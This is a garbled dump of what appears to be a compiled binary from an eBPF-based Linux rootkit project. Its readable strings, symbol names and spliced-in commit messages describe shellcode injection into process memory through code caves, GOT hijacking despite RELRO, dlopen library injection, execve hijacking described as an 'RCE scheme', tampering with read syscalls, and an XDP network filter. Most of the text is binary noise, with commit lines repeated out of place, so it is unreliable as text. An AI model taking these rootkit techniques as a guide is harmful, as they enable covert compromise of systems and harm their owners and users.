<00><00><00><00><00><00><00><00><00><00><00><00><00>(<00>8<00>H<00>X<00>h<00>x<00><00><00><00><00><00><00><00><00><00><00><00><00><00><00><00><00><00><00>(<00>8<00>H<00>X<00>h<00>x<00><00><00><00><00><00><00><00><00><00><00><00><00><00><00><00><00><00><00>(<00>8<00>H<00>X<00>h<00>x<00><00><00><00><00><00><00><00><00><00><00><00><00><00><00><00><00><00><00>(<00>8<00>H<00>X<00>h<00>x<00><00><00><00><00><00><00><00><00><00><00><00><00><00><00><00><00><00><00>(<00>8<00>H<00>X<00>h<00>x<00><00><00><00><00><00><00><00><00><00><00><00><00><00><00><00>
<00> ,<00> <00>1<00>7<00>L<>o<00><00>i<00>Xj5+Found code cave at %llx
Introduced shellcode and finished code cave writing and injection. RELRO working
2022-04-07 11:54:24 -04:00
Cave not found between %llx and %llx
Now control flow is redirected back to the syscall after running the shared library constructor instead of skipping it
2022-04-09 14:17:09 -04:00
Error while writing at GOTUPQRSWV<57> H<>Error while writing shellcode 1Error while writing malloc address<00><>H<EFBFBD><48><EFBFBD>/hom<6F>@e/os<6F>@boxe<78>@ s/TF<54>@G/sr<73>@c/he<68>@lper<65>@s/in<69>@ ject<63>@$ion_<6E>@(lib.<2E>@,soH<>Error while writing shellcode 2Error while writing dlopen address<00>H<><48>H<EFBFBD><48><00><>H<EFBFBD><48>^_[ZYX]<5D>%Error while writing shellcode 3Error while writing syscall addressFinished writing shellcode at %llx, syscall_addr %llx
Introduced shellcode and finished code cave writing and injection. RELRO working
2022-04-07 11:54:24 -04:00
Injecting at PID %d at %llx
/proc/%d/mem/proc/%d/mapsrt%llx-%llx %4c %x %x:%x %llu MAPS: %s
Now control flow is redirected back to the syscall after running the shared library constructor instead of skipping it
2022-04-09 14:17:09 -04:00
Continuing with next cave candidate. Some writes might have been performed alreadySuccessfully hijacked GOT
Updated file names and directory structure to the new multi-modules rootkit
2022-01-16 06:56:54 -05:00
Usage: %s ./kit OPTION
FS module now can overwrite the buffer of read syscalls, effectively modifying what is returned as a result. Small PoC included now which modifies any first char in a string to 'O'. Use under discretion, may crash some programs, not enough checks implemented yet.
2022-01-15 16:16:30 -05:00
Program OPTIONs-t[NETWORK INTERFACE]Activate XDP filter %-40s %-50s
Introduced shellcode and finished code cave writing and injection. RELRO working
2022-04-07 11:54:24 -04:00
-vVerbose mode-hPrint this helpFailed to increase RLIMIT_MEMLOCK limit!
FS module now can overwrite the buffer of read syscalls, effectively modifying what is returned as a result. Small PoC included now which modifies any first char in a string to 'O'. Use under discretion, may crash some programs, not enough checks implemented yet.
2022-01-15 16:16:30 -05:00
%H:%M:%S%s INFO pid:%d code:%i, msg:%s
Finished injection module at userspace using /proc/<pid>/maps, enables to overwrite the GOT section with RELRO activated
2022-04-07 07:11:28 -04:00
%s VULN_SYSCALL pid:%d syscall:%llx, return:%llx, libc_main:%llx, libc_dlopen_mode:%llx, libc_malloc:%llx, got:%llx, relro:%i
Library injection failedUNRECOGNIZED RB EVENT RECEIVEDActivating filter on network interface: %s
FS module now can overwrite the buffer of read syscalls, effectively modifying what is returned as a result. Small PoC included now which modifies any first char in a string to 'O'. Use under discretion, may crash some programs, not enough checks implemented yet.
2022-01-15 16:16:30 -05:00
Error on input interfaceUnknown option: %c
Missing arguments for %c
:t:vhFailed to open and load BPF skeleton
Failed to load and verify BPF skeleton
Failed to create ring buffer
Added new libc symbols extraction
2022-03-02 19:00:50 -05:00
libc.so.6Error obtaining libc symbols__libc_dlopen_modelibdl: %lx
dlopen: %llx
Offset: %lx
Now control flow is redirected back to the syscall after running the shared library constructor instead of skipping it
2022-04-09 14:17:09 -04:00
Filter set and ready! I<06>9}}}<00><00>int<08>,<19>-9<07><19><07><1B><07>9<07><1A> 
Finished injection module at userspace using /proc/<pid>/maps, enables to overwrite the GOT section with RELRO activated
2022-04-07 07:11:28 -04:00
  9 <00>1<08>3<07>6 <09>7 <09>8 <09>9 <09> : <09>(; <09>0< <09>8= <09>@@ <09>HA <09>PB <09>XD<16>`F<14>hH<07>pI<07>tJ <0B>xM<12><00>N<0F><00>O<08><00>Q<0F><00>Y <0A><00>[<17><00>\<19><00>]<14><00>^ <09><00>_
-<00>`<07><00>b<08><00> + <08>  <00> 9 <08> <08> <08>  9
?<11> <08>
<EFBFBD> 
 $<0E> ; <0C> # <0A> 0 +<08> /*key 3<07>arg 7* :<07>doc @*  I<07>(
T q<13> <08>H<00><15><15><15> <08><11>` <08> <16> <07> 
<EFBFBD> <07>  } $ }  )<07>$ , <09>( /
<EFBFBD>0 2 <09>8 6 <09>@ 9 H : P < <09>X 8 <0C>' <0C>, <0C><11> <0C>*doc <0C>* <0C>{  <0C> <0B>( <0C>*0
<EFBFBD> <08> <0C>v <0C><16> <0C><07> * <07>
2 v<14><00><15>*<15> <08> ' <08> <08> <12>tm8Z <07>
Changed shellcode to include backup of registers and stuck. Now prevents stack smashing detection via the stack canaries
2022-04-07 19:47:53 -04:00
<07> <07> <07>  <07><07><07><07><07>  <0C>(*0 x 9/ <00> 9}  
Now control flow is redirected back to the syscall after running the shared library constructor instead of skipping it
2022-04-09 14:17:09 -04:00
   <0F><12> <0F>A<0F> <0F> <13><14><18>}*a <00> 9}2<06> @ 8E4szG -N*P9W9\*_e c*(j*0
<EFBFBD>9 E V a<13><08><13>*map<13><13><13> <09> [<13><08><13>*<13><17><13><14> P <08> <08>H<08> sz -*<0E>  -obj<16>  <06>(
<06>, <1B> 0 <06>8<06><<1C> @ <08>  J f <08> <00> 9 'M(A,MI
K<13> L<12> F 6
H<10> M<07>  N
 (T<08>
Y<10> [ <0B>\<10>
]<16>
]<1F>
X
6
!0  [[[[[ bss[(!H<02> PPPPP P(P0P8P@!H  !<14>"<14>#<14>$<14>%<14> &<14>('<14>0(<14>8)<14>@ + $ ,<10>"<00>. <09>/<08>0<08>1 2h23 b4<00>5+<00>6h<00>7+<00>8;<00>#9K#:5#;[G#<kR#={U#><08><00>#?+<00>#@<08><00>#A<08><00>#B<08><00>#C<08><00>#D<08><00>#E<08><00>#F<08><00>#G<08>#H<08>#I<08>=#J<08><00>#K<08><00>#L<08><00>#M<08><00>#N<08>#O<08>;#P a#Q<08><00>#R<00>#S<08><00>#T+#U;.#VKL#W#X[<00>#Y}<00>#ZK<00>#[;<00>#\k<00>#]k#^{#_<08>9#`kH#akY#b<08>\#c<08>r#d{<00>#e<08><00>#f<08><00>#g<08><00>#h<08> <00>#i{#j<08>(#k<08>K#l<08>W#m<08>`#n<08>j#o<08>w#p<08><00>#q<08><00>#rk<00>#sk<00>#t<08><00>#u}<00>#vk<00>#w<08><00>#x<08><00>#y<08>#zK)#{<08>A#|<08>[#} <00>#~<08><00>#<08><00>#<01><08>#<01>(#<01>KA#<01>+Y#<01>+<00>#<01>+<00> <00> 9   9  9 + 9 ; 9 K 9! [ 9 k 9
{ 9 <00> 9+ <00> 9 <00> 9 <00> 9 <00> 9 <00> 95 <00> 9 <00> 9F   9%  94 + 9( ; 9) K 9 [ 92 k 9 { 9 <00> 9# <00> 9 <00> 9 <00> 9" <00> 9 <00> 9 <00> 9 <00> 9   9&  93 + 9 ; 9, <00>
<08> <1E>obj J<04>
 @*<04> <00>bss-<05><00><01><05><00> <08>  $ $}<0E> <03>"H<08>pid<06>
<EFBFBD># <09># q# q# q# q # q(# q0# Y8# <09><#<12>@
<EFBFBD> <00>%9<00>  <0C>all 
all  Lall ! tall"# & <0C>all'() <10><07><06>
$L*t
,<03> 2 ,3e4e 7 G8<0F> ; b<<0F> ? }@<0F> C <0C>D<0F> 00<10>1<15>59,=GAb E}( ;G<03>J<18>K<1D>env99&env  'I@ ({<05><00><01>0){<0E><03><>){<1A><03><>&rb|5<02>H'}<15><02>P&err~ e<03><>'<04>e<02>@&opt<04><06><02>D* &lm<04><13>
<02>`'<04><02>X'<04>a<02>h 0+X <0C><00><01><>,ctxX"<22><03><>)X-<2D><03><>)X:-<03><>&eY<19><03><>&tm\ <0A><03><>&ts]x<02>@&t^ <09><03><> <08> <08>-K <01>,sigK<1D><02>l.= <00><01>/'><02>P+3 <0C>N<01>)34<33><02>l)3G*<02>`)3W<33><02>X/"<00><01><>,arg"$*<02>X'& <0B><02>`'' <0B><02>h(<05><00><01><>)-<2D><03><>~'
<EFBFBD><03><>&buf q<03><>~' <09><03><>~'' <0B><03><>~&f( <03><>~0=',e<03><>~',e<03><>~',e<03><>~'-q<03><>~&to-q<03><>~&ino-q<03><>~'.<03><>~0<00>'5q<03><>~ <00> 9c(,<05>[<01><>),#<23><03><>),1q<03><>),Bq<03><>~),Rq<03><>~),eq<03><>~),yq<03><>~&len. -<02>X'/ q<03><>': <0B><02>`1R<00>&ii1-<03><>1R<00>&ii<-<03><>1R&iiF-<03><>1RC&iiP-<03><>1Rg&iiZ-<02>@1R<00>&iid-<02>H0O&iin-<02>P($qD<01>V)$"<22><02>\)$0q<02>P,to$<q<02>H)$E<><02>@)$Te<02>X)$ae<03><>)$ne<02>,ino${q<02>'% q<02>h(q<00><01>)<15><02>L)!<21><02>H)4q<02>@,to@q<03><>' <09><02>\0h&iiq<02>`0O&c<02>[+<01><01><01>S,obj<01>*<2A><02>X&s<01><1E><02>h2err'6+<01><01><01><>,obj<01><1F><02>h3<01><01><01>+<01><01>t<01><>)<01>7<EFBFBD><02>X&obj<01><12><02>h4err<01> 45<01>C<01>,obj<01>"<22><02>h% : ; 9 I$ >  : ;  : ; I8  $ > 5I  I
Finished injection module at userspace using /proc/<pid>/maps, enables to overwrite the GOT section with RELRO activated
2022-04-07 07:11:28 -04:00
&I I !I/  : ; 9  : ; 9 I8 : ; 9 <7I4: ; 9 I?< : ; 9 I8 'II : ;9  : ;9 I8  : ; 9 > I: ; 9 (  : ;9 I8 & : ;9  : ;9 I : ;9  : ;9 I! : ; 9 " : ; 9 # : ; 9 I8$> I: ; 9 %!I/&4: ; 9 I'4: ; 9 I(.?: ; 9 'I@<18>B): ; 9 I*
Introduced shellcode and finished code cave writing and injection. RELRO working
2022-04-07 11:54:24 -04:00
: ;9 +.: ; 9 'I@<18>B,: ; 9 I-.: ; 9 '@<18>B..: ; 9 '@<18>B/.?: ; 9 '@<18>B0 1 2
: ;9 3.: ; 9 'I@<18>B4
Now control flow is redirected back to the syscall after running the shared library constructor instead of skipping it
2022-04-09 14:17:09 -04:00
: ; 9 5.: ; 9 '@<18>B,Io;<01> .outputuser/include/utils/memuser/usr/lib/gcc/x86_64-linux-gnu/10/include/usr/include/x86_64-linux-gnu/bits/usr/include/x86_64-linux-gnu/bits/types/usr/include/usr/include/asm-generic.output/bpfuser/../commonuser/include/moduleskit.skel.hcode_caver.hinjection.hkit.c<built-in>stddef.htypes.hstruct_FILE.hFILE.hstdio.hgetopt_core.hargp.htime_t.hstruct_tm.hresource.hstdint-intn.hstdint-uintn.hint-ll64.hlibbpf.h elf.hlink.hmap_common.h
Changed shellcode to include backup of registers and stuck. Now prevents stack smashing detection via the stack canaries
2022-04-07 19:47:53 -04:00
module_manager.h  <03><05> vtY<02><03>$5<1A>/
FS module now can overwrite the buffer of read syscalls, effectively modifying what is returned as a result. Small PoC included now which modifies any first char in a string to 'O'. Use under discretion, may crash some programs, not enough checks implemented yet.
2022-01-15 16:16:30 -05:00
uu<05>LX Mb>$ <09>Y2 K<01>2 <09><01>.$<24>/
u<10><08>
<EFBFBD> <0B> <09> <0A><11>;<3B>'t/<'t
Finished extraction of return address from the stack, and libc syscall adress
2022-03-17 19:32:32 -04:00
<EFBFBD><08><05><03><12><03><13><11>L <09>J<03> <09>J<11>L <09>J<03> <09>J<11>L <09>J<03> <09>J<11>L <09>J<03> <09>J<11>K <09>J<14>L <09>J<03> <09>J<11>K <09>J<14>M<12>><3E>)t1<)t <0B><08><05><03><13><03><15><13>K<15><13>L
Initial version of the RCE scheme- Added complete execve hook, helper and modifying capabilities for the filename called. Works still needs to be done
2022-02-06 14:15:57 -05:00
<EFBFBD>J<03>
<EFBFBD>J<13>K
Finished extraction of stack return address
2022-03-17 13:18:19 -04:00
<EFBFBD>J<13>L
FS module now can overwrite the buffer of read syscalls, effectively modifying what is returned as a result. Small PoC included now which modifies any first char in a string to 'O'. Use under discretion, may crash some programs, not enough checks implemented yet.
2022-01-15 16:16:30 -05:00
<EFBFBD>J<03>
<EFBFBD>J<13>K
Added extraction of original jump instruction and opcodes
2022-03-15 18:36:59 -04:00
<EFBFBD>J<13>L
FS module now can overwrite the buffer of read syscalls, effectively modifying what is returned as a result. Small PoC included now which modifies any first char in a string to 'O'. Use under discretion, may crash some programs, not enough checks implemented yet.
2022-01-15 16:16:30 -05:00
<EFBFBD>J<03>
<EFBFBD>J<13>K
Successfully added uprobes calculation and hooking at arbitrary function of execve_hijack.
2022-03-03 05:53:51 -05:00
<EFBFBD>J<13>L
FS module now can overwrite the buffer of read syscalls, effectively modifying what is returned as a result. Small PoC included now which modifies any first char in a string to 'O'. Use under discretion, may crash some programs, not enough checks implemented yet.
2022-01-15 16:16:30 -05:00
<EFBFBD>J<03>
<EFBFBD>J<13>K
Added support for integrating the execution hijacker via the rootkit. Still some work to do, also changed some config from fs which needs to be reverted
2022-02-18 09:08:54 -05:00
<EFBFBD>J<13>L
Added new hooks and updated map fields to support new sudo module.
2022-02-05 13:49:20 -05:00
<EFBFBD>J<03>
<EFBFBD>J<13>K
Successfully added uprobes calculation and hooking at arbitrary function of execve_hijack.
2022-03-03 05:53:51 -05:00
<EFBFBD>J<13>L
<EFBFBD>f<03>
<EFBFBD>f<13>K
Added extraction of original jump instruction and opcodes
2022-03-15 18:36:59 -04:00
<EFBFBD>f<13>L
<EFBFBD>f<03>
<EFBFBD>f<13>K
Finished extraction of return address from the stack, and libc syscall adress
2022-03-17 19:32:32 -04:00
<EFBFBD>f<13>L
<EFBFBD>f<03>
<EFBFBD>f<13>K
Successfully added uprobes calculation and hooking at arbitrary function of execve_hijack.
2022-03-03 05:53:51 -05:00
<EFBFBD>f<13> L
Now control flow is redirected back to the syscall after running the shared library constructor instead of skipping it
2022-04-09 14:17:09 -04:00
<EFBFBD> <03><><00><03><>t<<03><>  <09>YC<03><>.<08> <09>uY<05> 0Y JKh v gu#vfX <0A> <08>YZ# <08>K<05>1, <0C> <0B><05>Y<05> / <08> Y<14> <02>X <09> <0B><05>Y<05> / <08> Y<14> <02>X <09> <0B><10><05> / <08> Y<14> <02>X <09> <0B><10><05> / <08> Y<14> <02>X <09> <0B><10><05> / <08> Y<14> <02>X <09> <0B><10><05> / <08> Y<14> <02>X <09> <0B><10><05> / <08> Y<14> qX<> <08>Y<06>3<03>tX <0B><05>Z*<08> <08>Z $ <08> \Z<08> J<1F>HvOK<11><> o. <08><16><> <0C>Y(]X<05>u <0B><><05><08>
FS module now can overwrite the buffer of read syscalls, effectively modifying what is returned as a result. Small PoC included now which modifies any first char in a string to 'O'. Use under discretion, may crash some programs, not enough checks implemented yet.
2022-01-15 16:16:30 -05:00
<EFBFBD><05>
<08><><05><08>\?g#ft<
K u<08>&4<><10><06>K<08><01>!j
Finished injection module at userspace using /proc/<pid>/maps, enables to overwrite the GOT section with RELRO activated
2022-04-07 07:11:28 -04:00
<EFBFBD>uD <t<19><02><07><02> <08><07>EK<03> 0
<EFBFBD> <0C>
<EFBFBD> <0C>
<EFBFBD> <0C>
<EFBFBD><03>{<05>K<03>
FS module now can overwrite the buffer of read syscalls, effectively modifying what is returned as a result. Small PoC included now which modifies any first char in a string to 'O'. Use under discretion, may crash some programs, not enough checks implemented yet.
2022-01-15 16:16:30 -05:00
 wY<06>w/<10> YI !<08><05><><10>u 1<><31><08> <0A><08><><EFBFBD>b<><08>#<23><>[ <05>u
Added new libc symbols extraction
2022-03-02 19:00:50 -05:00
<08><08><06>=g<08>^&u(<28>!<21>vv<08><06>.?<07>$uu<08>\
<EFBFBD>Ku
Now control flow is redirected back to the syscall after running the shared library constructor instead of skipping it
2022-04-09 14:17:09 -04:00
<EFBFBD>&<26>.K<08>ut tKz<08> /?gu z.<08>J!<04>f vYxdp_receive_____fmt_19ERRORifindexipv4_csum_____fmttp_sys_enter_read_____fmtsys_enter_timerfd_settime_____fmt_shortbufnamefromhandle_sched_process_exec_IO_lock_tinputfs_openstderrformattm_yday_IO_buf_endargp_stateoptoptchild_inputsrlim_td_ptrxdp_receive_____fmt_21xdp_receive_____fmt_22xdp_receive_____fmt_23xdp_receive_____fmt_24xdp_receive_____fmt_25xdp_receive_____fmt_26xdp_receive_____fmt_27xdp_receive_____fmt_28xdp_receive_____fmt_29l_nextstack_extract_return_address_plt_____fmtstack_extract_return_address_plt_____fmt_74handle_tp_sys_exit_read_____fmt_36handle_tp_sys_exit_read_____fmt_37handle_tp_sys_exit_read_____fmt_38handle_tp_sys_exit_read_____fmt_39handle_tp_sys_enter_execve_____fmt_44handle_tp_sys_enter_execve_____fmt_46link_maphandle_tp_sys_enter_execve_____fmt_48buf_cuser/kit.c_IO_codecvt_flagsbuf_nfp_offsettest_write_user_unique_____fmtuprobe_execute_command_____fmt_12root_argptest_write_user_unique_____fmt_52test_write_user_unique_____fmt_53test_write_user_unique_____fmt_54test_write_user_unique_____fmt_55level__rlimit_resourcetm_mdayxdp_receive_____fmt_31xdp_receive_____fmt_32xdp_receive_____fmt_33xdp_receive_____fmt_34xdp_receive_____fmt_35libbpf_print_fnhandle_tp_sys_exit_read_____fmt_40handle_tp_sys_exit_read_____fmt_41tm_gmtoffbtf_custom_pathrlim_maxsys_enter_timerfd_settimeEXITpgoffd_unlibc_main_addressGNU C17 10.3.0 -mtune=generic -march=x86-64 -g -fasynchronous-unwind-tables -fstack-protector-strong -fstack-clash-protection -fcf-protectiontm_yeargot_addrpin_root_pathd_val__RLIMIT_LOCKSd_taglibc_malloc_addressmaps_filesyscall_addrmodule_config_t__RLIM_NLIMITStm_mongp_offset_IO_save_endmessagemmapedfloatnull_countereventmalloc_addrcave_findhandle_tp_sys_exit_read_____fmtrelaxed_core_relocsoverflow_arg_arealong long unsigned intcleanuprelaxed_mapsexpand_tcp_packet_payload_____fmtkit_bpf__open_optsmodify_payload_____fmt_81__RLIMIT_NPROCmanage_injectionfs_module_attrkit_bpf__bsskconfigrb_eventsyscall_addressLIBBPF_WARN_offsetoff_tmodify_payload_____fmttp_sys_enter_openatINFO_IO_read_endVULN_SYSCALLlibbpf_print_levelexpand_tcp_packet_payload_____fmt_75expand_tcp_packet_payload_____fmt_76expand_tcp_packet_payload_____fmt_77expand_tcp_packet_payload_____fmt_78expand_tcp_packet_payload_____fmt_79data_sizeargp_optionsize_targs_docint64_toffset_IO_read_base_Boolxdp_receive__RLIMIT_NICEargcxdp_module_attrhandle_tp_sys_enter_execve_____fmt_47_IO_write_ptrflags__uint64_tkit_bpf__loadmajorkit_bpfcodekit_bpf__destroyprog_cntmodule_config__RLIMIT_OFILEgot_addressuprobe_execute_command_____fmt_13mapsinj_ret_addressElf64_Dyncharobject_name__rlim_t__s32_modemap_cnt__RLIMIT_NLIMITStest_write_user_unique_____fmt_50_IO_write_base_IO_read_ptrbpf_linkinjection_moduleprint_help_dialogcode_cave_find_addresscode_cave_write_shellcodedataerr_streamcave_lengthl_addrgot_offset__u32tp_sys_enter_execvetime_targp_domaindlopenAddrprog_skel_szbpf_object_freeres_listskeletonsys_exit_timerfd_settime_____fmt_7rlim_cur_IO_marker_filenolong long intlibc_dlopen_mode_addresssig_handlerhelp_filterRLIMIT_COREsched_module_attrheaderevent_type__RLIMIT_RSSring_bufferinjection_module_attrexec_module__RLIMIT_MSGQUEUE_freeres_bufElf64_Xword_IO_backup_baseminorLIBBPF_INFOshort int__pad0__pad1__pad5bpf_prog_skeletonprogshandle_tp_sys_enter_execve_____fmtRLIMIT_FSIZEsys_enter_timerfd_settime_____fmt_2stack_extract_return_address_plt_____fmt_56stack_extract_return_address_plt_____fmt_57stack_extract_return_address_plt_____fmt_58stack_extract_return_address_plt_____fmt_59sys_enter_timerfd_settime_____fmt_5_vtable_offsetargpoptargargs__int64_targvlong doubleattach_prog_fdparsergroupsys_enter_timerfd_settime_____fmt_3xdp_modulefs_moduleargp_childlinks__u64rb_commRLIMIT_DATAuprobe_execute_command_____fmt_11stack_extract_return_address_plt_
<00><00><00>M<00><00><00><00><00><00> <00><00><00><00><00><00><00>
<00><00>%,3DKYl~<00><00><00><00><00>kit.ckit_bpf__destroykit_bpf__open_optskit_bpf__create_skeletonkit_bpf__openkit_bpf__loadenvlibbpf_print_fnbump_memlock_rlimitexitingsig_handlerhandle_rb_event_GLOBAL_OFFSET_TABLE_bpf_object__destroy_skeletoncallocbpf_object__open_skeletonbpf_object__load_skeletoncave_findlseekread__stack_chk_failcode_cave_find_addresscode_cave_write_shellcodeperrormanage_injectionmemsetsprintffopen__isoc99_sscanfputsfgetscloseprint_help_dialogstderrvfprintfsetrlimitfwriteexitlocaltimestrftimemainoptargif_nametoindexoptoptgetoptlibbpf_set_printsignalmodule_configmodule_config_attrsetup_all_modulesbpf_map__fdring_buffer__newdlopendlsymring_buffer__pollring_buffer__free.<00><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>:<00><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Z<00><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><00><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><00><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><00><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>1 <00><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>y<00><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <00> <00> * $X ;<00> J <00><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>6 Vw p<00> <00>  <00>R <00><00> <00><00> <00>5 <00><00> <00> <00><00><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>=<00><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>]<00><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> e<><00><00><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <00><><00><00><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><00><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><00><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><00><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>!<00><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <00><><00>"<00><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> Ş<00><00><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>$!<00><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>0 Ԟ5"<00><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>!<00><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <00><><00>"<00><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <1C><00>!<00><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> |<7C><00>"<00><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>P !<00><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>\  <00><>a "<00><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>  ğ<00> !<00><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>  <00><><00> "<00><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
!<00><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>&
 <0C>+
"<00><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>V
 4<>`
<00><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>y
<00><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
$<00><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
 k<><00>
<00><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
 <00><> %<00><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>" &<00><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>7 <00><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>U  <00><>b %<00><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>p  <00><>x '<00><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>  <00><><00> (<00><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>  à<00> <00><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>E <00><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>  <00><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>  Ԡ<00> )<00><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>  '<27><00> )<00><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> *<00><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <00><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> +<00><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <00><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>:  A<>D <00><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>K  [<5B>P )<00><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>W  k<>b  <00><>x  <00><><00> <00><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>  <00><><00>  <00><><00>  <00><><00> <00><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>  <00><><00>  <00><><00>  <00><><00> <00><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <00><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>"-<00><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>5.<00><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>s/<00><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>~-<00><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> ̡<00>0<00><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>1<00><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><00><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><00><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>2<00><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>3<00><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>* <00><>74<00><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>n <04>x<00><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>6 ,<2C>@<00><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>P#<00><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>[ <00><>`)<00><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>i ̢s<00><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><00><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>6<00><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> 7<00><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>6<00><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>! <00><>+<00><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>< 